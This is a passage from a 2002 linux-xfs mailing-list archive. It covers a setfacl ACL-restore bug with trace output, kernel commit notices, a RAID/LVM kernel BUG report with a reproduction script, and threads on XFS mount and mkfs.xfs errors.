at 10:21:23AM +1000, Nathan Scott wrote: > hi, >=20 > This one needs to be reported to the setfacl author - the fix > for this one will need a better knowledge of the setfacl code > than I have. >=20 > Andreas, from a quick look this is almost certainly related to > that 2.0.13 change which makes acl_get_file fail for reg files > when asked about default ACLs. I've added some ltrace output > below which provides a bit more info on top of Ethan's notes. >=20 > cheers. >=20 > --=20 > Nathan >=20 >=20 > On Sat, Aug 10, 2002 at 09:14:25PM -0800, Ethan Benson wrote: > > I originally noticed this problem start after upgrading to acl 2.0.15, > > however i thought perhaps it was related to xattr bugs in 2.4.18 so i > > waited until upgrading to 2.4.19 to see if the problem persists, it > > does: > >=20 > > eb@ash ~/tmp$ mkdir src dst > > eb@ash ~/tmp$ mkdir src/dir dst/dir > > eb@ash ~/tmp$ touch src/dir/file dst/dir/file > > eb@ash ~/tmp$ setfacl -m u:bin:r-- src/dir/file=20 > > eb@ash ~/tmp$ (cd src ; getfacl --skip-base -R -P .) | (cd dst ; setfac= l --restore=3D-) > > setfacl: dir/file: Permission denied > > eb@ash ~/tmp$ getfacl src/dir/file=20 > > # file: src/dir/file > > # owner: eb > > # group: eb > > user::rw- > > user:bin:r-- > > group::r-- > > mask::r-- > > other::r-- > >=20 > > eb@ash ~/tmp$ getfacl dst/dir/file=20 > > # file: dst/dir/file > > # owner: eb > > # group: eb > > user::rw- > > group::r-- > > other::r-- > >=20 > > i use the above method as part of my backup script, it worked with acl > > 2.0.8 but not with 2.0.15. > >=20 > > current kernel is 2.4.19 with split patches, previous kernel was > > 2.4.18 with split patches. > >=20 > > here is the relevant piece of strace output: > >=20 > > lstat64(0x10015750, 0x7ffff8c8) =3D 0 > > SYS_212(0x10015750, 0xffeeb84, 0x7ffff710, 0x84, 0xa0a0a0a) =3D -1 ENOD= ATA (No data available) > > stat64(0x10015750, 0x7ffff7a8) =3D 0 > > SYS_212(0x10015750, 0xffeeb9c, 0x7ffff710, 0x84, 0xff95d20) =3D -1 ENOD= ATA (No data available) > > stat64(0x10015750, 0x7ffff7a8) =3D 0 > > open("/usr/share/locale/en_US/LC_MESSAGES/libc.mo", O_RDONLY) =3D -1 EN= OENT (No such file or directory) > > open("/usr/share/locale/en/LC_MESSAGES/libc.mo", O_RDONLY) =3D -1 ENOEN= T (No such file or directory) > > write(2, "setfacl: dir/file: Permission de"..., 37setfacl: dir/file: Pe= rmission denied) =3D 37 > > read(0, "", 4096) =3D 0 > > exit(0) =3D ? > >=20 > >=20 > > --=20 > > Ethan Benson > > http://www.alaska.net/~erbenson/ >=20 >=20 > $ ( cd src ; getfacl --skip-base -R -P . ) | ( cd dst ; ltrace setfacl --= restore=3D- ) > [...] > acl_get_file(0x0804daf0, 32768, 0x40136680, 0x4004e1de, 1) =3D 0x0804ee24 > acl_dup(0x0804ee24, 32768, 0x40136680, 0x4004e1de, 1) =3D 0x0804eeb4 > acl_free(0x0804eeb4, 0, 0xbffff978, 5, 0x0804ed30) =3D 0 > acl_init(5, 0x40012c90, 0xbffff97c, 0x0804a805, 0x0804eeb4) =3D 0x0804eecc > acl_get_file(0x0804daf0, 16384, 0xbffff90c, 0x4001c8a6, 1) =3D 0 > __errno_location() =3D 0x40139a20 > __errno_location() =3D 0x40139a20 > strerror(13) =3D "Permission denied" > fprintf(0x40136360, "%s: %s: %s\n", "setfacl", "dir/file", "Permission de= nied"setfacl: dir/file: Permission denied > ) =3D 37 > acl_free(0x0804eecc, 1, 0xbffff978, 5, 0x0804ed30) =3D 0 > acl_free(0x0804ee24, 1, 0xbffff978, 5, 0x0804ed30) =3D 0 >=20 --=20 Ethan Benson http://www.alaska.net/~erbenson/ --0H629O+sVkh21xTi Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj1XCJMACgkQJKx7GixEevwlRQCghN5+MV3diQz3SkN6xysqA2DT 4JEAn3eaXroQ5A5/lmRNROWUSp0DTDVL =qgjk -----END PGP SIGNATURE----- --0H629O+sVkh21xTi-- From owner-linux-xfs@oss.sgi.com Sun Aug 11 19:48:34 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7C2mXRw028551 for ; Sun, 11 Aug 2002 19:48:33 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7C2mXuJ028550 for linux-xfs-outgoing; Sun, 11 Aug 2002 19:48:33 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7C2mSRw028522 for ; Sun, 11 Aug 2002 19:48:28 -0700 Received: from sherman.melbourne.sgi.com (sherman.melbourne.sgi.com [134.14.55.232]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id TAA09029 for ; Sun, 11 Aug 2002 19:50:48 -0700 (PDT) mail_from (kaos@sherman.melbourne.sgi.com) Received: (from kaos@localhost) by sherman.melbourne.sgi.com (8.11.6/8.11.6) id g7C2ohR31596; Mon, 12 Aug 2002 12:50:43 +1000 Date: Mon, 12 Aug 2002 12:50:43 +1000 From: Keith Owens Message-Id: <200208120250.g7C2ohR31596@sherman.melbourne.sgi.com> Subject: TAKE - Sync with kdb-v2.3-2.4.19-common-2, kdb-v2.3-2.4.19-i386-3 X-Spam-Status: No, hits=2.2 required=5.0 tests=MAY_BE_FORGED,MISSING_HEADERS version=2.20 X-Spam-Level: ** Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Sync with kdb-v2.3-2.4.19-common-2, kdb-v2.3-2.4.19-i386-3 Date: Sun Aug 11 19:50:17 PDT 2002 Workarea: sherman.melbourne.sgi.com:/build/kaos/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:124777a linux/drivers/char/serial.c - 1.56 linux/include/linux/kdb.h - 1.23 linux/arch/i386/kdb/kdba_io.c - 1.17 linux/kdb/ChangeLog - 1.20 linux/arch/i386/kdb/ChangeLog - 1.9 From owner-linux-xfs@oss.sgi.com Sun Aug 11 20:44:12 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7C3iCRw029439 for ; Sun, 11 Aug 2002 20:44:12 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7C3iC1l029438 for linux-xfs-outgoing; Sun, 11 Aug 2002 20:44:12 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7C3i6Rw029410 for ; Sun, 11 Aug 2002 20:44:06 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id UAA01127 for ; Sun, 11 Aug 2002 20:46:26 -0700 (PDT) mail_from (nathans@snort.melbourne.sgi.com) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id NAA27156 for linux-xfs@oss.sgi.com; Mon, 12 Aug 2002 13:45:09 +1000 (EST) Date: Mon, 12 Aug 2002 13:45:09 +1000 (EST) From: Nathan Scott Message-Id: <200208120345.NAA27156@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - MS_POSIXACL X-Spam-Status: No, hits=3.2 required=5.0 tests=MAY_BE_FORGED,SUBJ_ALL_CAPS version=2.20 X-Spam-Level: *** Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Date: Sun Aug 11 20:42:18 PDT 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:124779a linux/include/linux/fs.h - 1.157 linux/fs/xfs/xfs_acl.h - 1.21 linux/fs/xfs/linux/xfs_vnode.c - 1.91 linux/fs/xfs/linux/xfs_super.c - 1.204 - Switch to using a superblock flag (MS_POSIXACL) instead of an inode flag (S_POSIXACL) - seems to be the consensus on how to do this. linux/fs/xfs/linux/xfs_iops.c - 1.169 - Fix a now-incorrect comment. linux/fs/xfs/linux/xfs_vnode.h - 1.58 - Fix debug builds - VINACTIVE_TEARDOWN no longer exists. From owner-linux-xfs@oss.sgi.com Sun Aug 11 23:33:15 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7C6XFRw030687 for ; Sun, 11 Aug 2002 23:33:15 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7C6XFRe030686 for linux-xfs-outgoing; Sun, 11 Aug 2002 23:33:15 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from pepsi.splentec.com (ns.splentec.com [209.47.35.194]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7C6X3Rw030656 for ; Sun, 11 Aug 2002 23:33:03 -0700 Received: from corona (corona.splentec.com [209.47.35.254]) by pepsi.splentec.com (8.11.6/8.11.0) with SMTP id g7C6ZCs06850; Mon, 12 Aug 2002 02:35:12 -0400 Message-ID: <012301c241cb$16ea8530$fe232fd1@corona> From: "James Lee" To: , References: Subject: Re: kernel BUG at filemap.c:843! Date: Mon, 12 Aug 2002 02:40:03 -0400 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Spam-Status: No, hits=0.5 required=5.0 tests=PLING version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi, I'm also having the exactly same problem. Tested with 2.4.19-xfs(checked out from SGI's CVS on Aug 10) on Redhat 7.2. Kernel and userland tools are compiled with gcc 2.91.66 The following is the result of some tests: scsidisks -> xfs: OK scsidisks -> raid5 -> xfs: OK scsidisks -> lvm -> xfs: OK scsidisks -> raid0 -> lvm -> xfs: OK scsidisks -> raid1 -> lvm -> xfs: OK scsidisks -> raid5 -> lvm -> xfs: kernel BUG at filemap.c:843! This problem is always reproducible with the following shell script: #!/bin/sh mkraid /dev/md0 vgcreate VolumeGroup /dev/md0 lvcreate -L1G -nTestVolume VolumeGroup mkfs.xfs -f -d size=32m /dev/VolumeGroup/TestVolume mount -t xfs /dev/VolumeGroup/TestVolume /mnt -onoatime,nodiratime,usrquota,grpquota Whenever I run the above script, mount command always generates kernel oops. But, if I insert some delay as of the following, then mount goes well: #!/bin/sh mkraid /dev/md0 vgcreate VolumeGroup /dev/md0 lvcreate -L1G -nTestVolume VolumeGroup mkfs.xfs -f -d size=32m /dev/VolumeGroup/TestVolume sleep 1 mount -t xfs /dev/VolumeGroup/TestVolume /mnt -onoatime,nodiratime,usrquota,grpquota JLee ----- Original Message ----- From: "Dagfinn Ilmari Manns?er" To: ; Sent: Sunday, August 11, 2002 8:27 PM Subject: kernel BUG at filemap.c:843! > Hi, > > I have been bitten a few times by the BUG() in unlock_page(), both > with 2.4.19-rc3-xfs and 2.4.19-xfs (the latter checked out from SGI's > CVS on Aug 10). The system is SCSI-only, with a raid5 array as an LVM > physical volume and XFS on all the volumes. > > Software-wise it's Debian Woody, but the kernel is compiled on a Sid > box with gcc 2.95.4-16. > > Attached are the decoded oops, the module list and the config. > > -- > ilmari > > From owner-linux-xfs@oss.sgi.com Mon Aug 12 01:28:37 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7C8SbRw031747 for ; Mon, 12 Aug 2002 01:28:37 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7C8Sba0031746 for linux-xfs-outgoing; Mon, 12 Aug 2002 01:28:37 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7C8SVRw031718 for ; Mon, 12 Aug 2002 01:28:31 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id BAA06502 for ; Mon, 12 Aug 2002 01:30:50 -0700 (PDT) mail_from (nathans@snort.melbourne.sgi.com) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id SAA04467; Mon, 12 Aug 2002 18:29:25 +1000 (EST) Date: Mon, 12 Aug 2002 18:29:25 +1000 (EST) From: Nathan Scott Message-Id: <200208120829.SAA04467@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Cc: agruen@suse.de Subject: TAKE - libacl X-Spam-Status: No, hits=1.3 required=5.0 tests=MAY_BE_FORGED version=2.20 X-Spam-Level: * Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Date: Mon Aug 12 01:27:57 PDT 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/linux-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:124781a cmd/acl/VERSION - 1.33 cmd/acl/doc/CHANGES - 1.38 cmd/acl/debian/changelog - 1.28 cmd/acl/libacl/Makefile - 1.19 - Bump version, document changes - fix an unaligned access on 64 bit platforms. cmd/acl/libacl/libobj.h - 1.5 cmd/acl/libacl/libacl.h - 1.5 - Fix alignment issues for 64 bit architectures. From owner-linux-xfs@oss.sgi.com Mon Aug 12 08:06:26 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7CF6QRw007615 for ; Mon, 12 Aug 2002 08:06:26 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7CF6QhL007614 for linux-xfs-outgoing; Mon, 12 Aug 2002 08:06:26 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from muriel.parsec.at (muriel.parsec.at [80.120.166.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7CF6JRw007586 for ; Mon, 12 Aug 2002 08:06:20 -0700 Received: from localhost (ag@localhost) by muriel.parsec.at (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id g7CF8Yb13787; Mon, 12 Aug 2002 17:08:34 +0200 Date: Mon, 12 Aug 2002 17:08:34 +0200 (CEST) From: Andreas Gruenbacher X-X-Sender: To: Ethan Benson cc: Nathan Scott , , , Subject: Re: [Acl-Devel] Re: setfacl bug In-Reply-To: <20020811170003.E23734@plato.local.lan> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Sun, 11 Aug 2002, Ethan Benson wrote: > > one more detail, setfacl -b is also completly broken, it just returns > Permission denied for regular files. this is consistent with Nathan's > assessment that acl_get_file needs to not fail on regular files. > > sidenote, why is setfacl returning permission denied? this does not > seem to be the correct error. It's defined to behave like that in 1003.1e draft 17 if an application tries acl_get_file("non-directory", ACL_TYPE_DEFAULT). That's what setfacl did. Thanks for reporting the bug. --Andreas. ------------------------------------------------------------------------ Andreas Gruenbacher, a.gruenbacher@computer.org Contact information: http://www.bestbits.at/~ag/ From owner-linux-xfs@oss.sgi.com Mon Aug 12 09:15:07 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7CGF7Rw008873 for ; Mon, 12 Aug 2002 09:15:07 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7CGF7FD008872 for linux-xfs-outgoing; Mon, 12 Aug 2002 09:15:07 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from issv0171.isis.de (issv0171.isis.de [195.158.131.223]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7CGEuRw008841 for ; Mon, 12 Aug 2002 09:14:57 -0700 Received: (qmail 29798 invoked by uid 1010); 12 Aug 2002 16:17:18 -0000 Received: from unknown (HELO ATHLET) ([195.158.152.79]) (envelope-sender ) by mail.isis.de (qmail-ldap-1.03) with SMTP for ; 12 Aug 2002 16:17:18 -0000 Date: Mon, 12 Aug 2002 18:17:28 +0200 From: thomas X-Mailer: The Bat! (v1.61) Reply-To: thomas X-Priority: 3 (Normal) Message-ID: <753969097.20020812181728@ff33.cc> To: linux-xfs@oss.sgi.com Subject: mount error MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk hello, everytime i reboot my system my xfs partition doesn't get mounted. syslog shows the following: XFS mounting filesystem md(9,0) XFS: failed to locate log tail XFS: log mount/recovery failed XFS: log mount failed when i run xfs_repair /dev/md0 (who reports no errors and doesn't fix anything, so it seems) i can mount the partition by hand without any problems. +[~]: cat /proc/mdstat Personalities : [raid1] [multipath] read_ahead 1024 sectors md0 : active raid1 hdc5[0] hda5[1] 78123904 blocks [2/2] [UU] +[~]: uname -a Linux knecht 2.4.19-xfs #3 Sat Aug 3 19:20:12 CEST 2002 i686 - from /etc/fstab: /dev/md0 /data xfs defaults,noatime 0 1 anyone knows whats going on? thx thomas From owner-linux-xfs@oss.sgi.com Mon Aug 12 09:26:25 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7CGQPRw009155 for ; Mon, 12 Aug 2002 09:26:25 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7CGQPu9009154 for linux-xfs-outgoing; Mon, 12 Aug 2002 09:26:25 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7CGQGRw009126 for ; Mon, 12 Aug 2002 09:26:16 -0700 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22]) by e35.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g7CGSSA1064714; Mon, 12 Aug 2002 12:28:29 -0400 Received: from chavez.austin.ibm.com (chavez.austin.ibm.com [9.53.216.228]) by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7CGSSEA147232; Mon, 12 Aug 2002 10:28:28 -0600 Subject: Re: mount error From: Luciano Chavez To: thomas Cc: linux-xfs@oss.sgi.com In-Reply-To: <753969097.20020812181728@ff33.cc> References: <753969097.20020812181728@ff33.cc> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 12 Aug 2002 11:24:09 -0500 Message-Id: <1029169449.2690.10.camel@chavez> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.4 required=5.0 tests=IN_REP_TO,FROM_ENDS_IN_NUMS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Mon, 2002-08-12 at 11:17, thomas wrote: > > hello, > > everytime i reboot my system my xfs partition doesn't get mounted. > syslog shows the following: > > XFS mounting filesystem md(9,0) > XFS: failed to locate log tail > XFS: log mount/recovery failed > XFS: log mount failed > > when i run xfs_repair /dev/md0 (who reports no errors and doesn't fix > anything, so it seems) i can mount the partition by hand without any > problems. > > +[~]: cat /proc/mdstat > Personalities : [raid1] [multipath] > read_ahead 1024 sectors > md0 : active raid1 hdc5[0] hda5[1] > 78123904 blocks [2/2] [UU] > > +[~]: uname -a > Linux knecht 2.4.19-xfs #3 Sat Aug 3 19:20:12 CEST 2002 i686 > > - from /etc/fstab: > /dev/md0 /data xfs defaults,noatime 0 1 > > anyone knows whats going on? > > thx > thomas > > thomas, Most likely the raidstart of /dev/md0 doesn't occur until after the attempt to mount the device. -- regards, Luciano Chavez lnx1138@us.ibm.com http://evms.sourceforge.net From owner-linux-xfs@oss.sgi.com Mon Aug 12 09:37:50 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7CGbnRw009397 for ; Mon, 12 Aug 2002 09:37:50 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7CGbn3b009396 for linux-xfs-outgoing; Mon, 12 Aug 2002 09:37:49 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7CGbdRw009366 for ; Mon, 12 Aug 2002 09:37:44 -0700 Received: from northrelay01.pok.ibm.com (northrelay01.pok.ibm.com [9.56.224.149]) by e1.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g7CGdUjI066938; Mon, 12 Aug 2002 12:39:31 -0400 Received: from chavez.austin.ibm.com (chavez.austin.ibm.com [9.53.216.228]) by northrelay01.pok.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7CGdSnO080188; Mon, 12 Aug 2002 12:39:28 -0400 Subject: Re: mount error From: Luciano Chavez To: Luciano Chavez Cc: thomas , linux-xfs@oss.sgi.com In-Reply-To: <1029169449.2690.10.camel@chavez> References: <753969097.20020812181728@ff33.cc> <1029169449.2690.10.camel@chavez> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 12 Aug 2002 11:35:09 -0500 Message-Id: <1029170110.2690.13.camel@chavez> Mime-Version: 1.0 X-Spam-Status: No, hits=-2.5 required=5.0 tests=IN_REP_TO,FROM_ENDS_IN_NUMS,FROM_AND_TO_SAME version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Mon, 2002-08-12 at 11:24, Luciano Chavez wrote: Actually, I think this is covered in the Autodetection section of RAID Howto to get RAID devices autodetected by the kernel for cases like the one you explain. -- regards, Luciano Chavez lnx1138@us.ibm.com http://evms.sourceforge.net From owner-linux-xfs@oss.sgi.com Mon Aug 12 09:44:19 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7CGiJRw009612 for ; Mon, 12 Aug 2002 09:44:19 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7CGiJPD009611 for linux-xfs-outgoing; Mon, 12 Aug 2002 09:44:19 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.gmx.net (sproxy.gmx.net [213.165.64.20]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7CGiBRw009582 for ; Mon, 12 Aug 2002 09:44:12 -0700 Received: (qmail 5131 invoked by uid 0); 12 Aug 2002 16:44:35 -0000 Received: from gate.gmx.net (213.165.64.17) by mail.gmx.net (mp001-rz3) with SMTP; 12 Aug 2002 16:44:35 -0000 Received: from kt by gate.gmx.net with local (Exim 3.35 #1 (Debian)) id 17eIIC-0005Wj-00 for ; Mon, 12 Aug 2002 18:43:44 +0200 Date: Mon, 12 Aug 2002 18:43:44 +0200 From: Thomas Knauer To: linux-xfs@oss.sgi.com Subject: Problems with mkfs.xfs 2.1.2 Message-ID: <20020812164344.GA21245@gmx-ag.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.3.28i X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi, after upgrading to the latest xfsprogs (2.1.2) we encounter a strange problem on a Compaq Proliant DL360-G2 (with /dev/cciss/c0d0) RAID 1, Kernel 2.4.19-xfs: If I try to make a new fs with "mkfs.xfs /dev/cciss/c0d0p8", mkfs.xfs returns with "Error getting MD array info from /dev/cciss/c0d0p8". There's no problem at all with xfsprogs 2.0.6. Did I miss anything?? Regards, Thomas -- GMX Aktiengesellschaft Riesstr. 17, 80992 München Telefon +49.89.143 39-0 Telefax +49.89.143.39-350 mailto:tknauer@gmx-ag.de http://www.gmx.net From owner-linux-xfs@oss.sgi.com Mon Aug 12 09:49:19 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7CGnIRw009826 for ; Mon, 12 Aug 2002 09:49:19 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7CGnITs009825 for linux-xfs-outgoing; Mon, 12 Aug 2002 09:49:18 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from phoenix.infradead.org (phoenix.mvhi.com [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7CGnDRw009797 for ; Mon, 12 Aug 2002 09:49:14 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17eIPn-0002jP-00; Mon, 12 Aug 2002 17:51:35 +0100 Date: Mon, 12 Aug 2002 17:51:35 +0100 From: Christoph Hellwig To: Thomas Knauer Cc: linux-xfs@oss.sgi.com Subject: Re: Problems with mkfs.xfs 2.1.2 Message-ID: <20020812175135.A10413@infradead.org> References: <20020812164344.GA21245@gmx-ag.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020812164344.GA21245@gmx-ag.de>; from tknauer@gmx-ag.de on Mon, Aug 12, 2002 at 06:43:44PM +0200 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Mon, Aug 12, 2002 at 06:43:44PM +0200, Thomas Knauer wrote: > Hi, > > after upgrading to the latest xfsprogs (2.1.2) we encounter a strange 2.1.2 or 2.2.1? From owner-linux-xfs@oss.sgi.com Mon Aug 12 10:10:02 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7CHA2Rw010256 for ; Mon, 12 Aug 2002 10:10:02 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7CHA2te010255 for linux-xfs-outgoing; Mon, 12 Aug 2002 10:10:02 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from issv0171.isis.de (issv0171.isis.de [195.158.131.223]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7CH9sRw010222 for ; Mon, 12 Aug 2002 10:09:55 -0700 Received: (qmail 7717 invoked by uid 1010); 12 Aug 2002 17:12:17 -0000 Received: from unknown (HELO ATHLET) ([195.158.146.139]) (envelope-sender ) by mail.isis.de (qmail-ldap-1.03) with SMTP for ; 12 Aug 2002 17:12:17 -0000 Date: Mon, 12 Aug 2002 19:12:15 +0200 From: thomas X-Mailer: The Bat! (v1.61) Reply-To: thomas X-Priority: 3 (Normal) Message-ID: <1077256534.20020812191215@ff33.cc> To: linux-xfs@oss.sgi.com CC: Luciano Chavez Subject: Re: mount error In-Reply-To: <1029169449.2690.10.camel@chavez> References: <753969097.20020812181728@ff33.cc> <1029169449.2690.10.camel@chavez> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk >Most likely the raidstart of /dev/md0 doesn't occur until after the >attempt to mount the device. hmm i've looked into it but i don't think that is the problem. autodetection also seems to work properly. - dmesg: md: Autodetecting RAID arrays. ... md: ... autorun DONE. ... XFS mounting filesystem md(9,0) XFS: failed to locate log tail XFS: log mount/recovery failed XFS: log mount failed thomas From owner-linux-xfs@oss.sgi.com Mon Aug 12 10:32:26 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7CHWQRw010563 for ; Mon, 12 Aug 2002 10:32:26 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7CHWQbk010562 for linux-xfs-outgoing; Mon, 12 Aug 2002 10:32:26 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from christooley.cjb.net (user-0ccsncq.cable.mindspring.com [24.206.93.154]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7CHWLRw010534 for ; Mon, 12 Aug 2002 10:32:21 -0700 Received: from christooley.cjb.net (christooley.cjb.net [127.0.0.1]) by christooley.cjb.net (8.12.5/8.12.5) with ESMTP id g7CHRTR5002523 for ; Mon, 12 Aug 2002 12:27:29 -0500 